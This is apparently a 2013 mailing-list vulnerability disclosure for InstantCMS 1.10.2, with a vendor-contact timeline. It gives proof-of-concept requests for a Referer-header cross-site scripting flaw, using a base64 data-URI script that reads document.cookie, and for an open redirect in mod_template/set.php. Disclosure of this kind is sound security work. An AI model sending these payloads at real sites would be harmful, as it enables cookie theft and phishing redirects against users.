InstantCMS 1.10.2 Cross Site Scripting

`Hello list!  
  
These are Cross-Site Scripting and Redirector vulnerabilities in InstantCMS.  
  
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Affected products:  
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Vulnerable are InstantCMS 1.10.2 and previous versions.  
  
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Affected vendors:  
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InstantSoft  
http://www.instantcms.ru  
  
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Details:  
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Cross-Site Scripting (WASC-08):  
  
GET request to http://site/modules/mod_template/set.php with setting Referer   
header.  
  
Referer:   
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B  
  
Redirector (URL Redirector Abuse) (WASC-38):  
  
GET request to http://site/modules/mod_template/set.php with setting Referer   
header.  
  
Referer: http://websecurity.com.ua  
  
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Timeline:  
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2013.07.14 - found multiple vulnerabilities in InstantCMS 1.10.1.  
2013.07.17 - announced at my site.  
2013.07.19 - informed developers about first part of the vulnerabilities.   
Ignored.  
2013.07.31 - informed developers about another part of the vulnerabilities.   
Answered, but refused to fix.  
2013.08.02 - reminded developers about first letter with holes and explained   
why to fix them.  
2013.08.02 - developers released InstantCMS 1.10.2 without fixing any   
informed vulnerabilities. Both above-mentioned holes work in it.  
2013.09.17 - disclosed at my site (http://websecurity.com.ua/6661/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`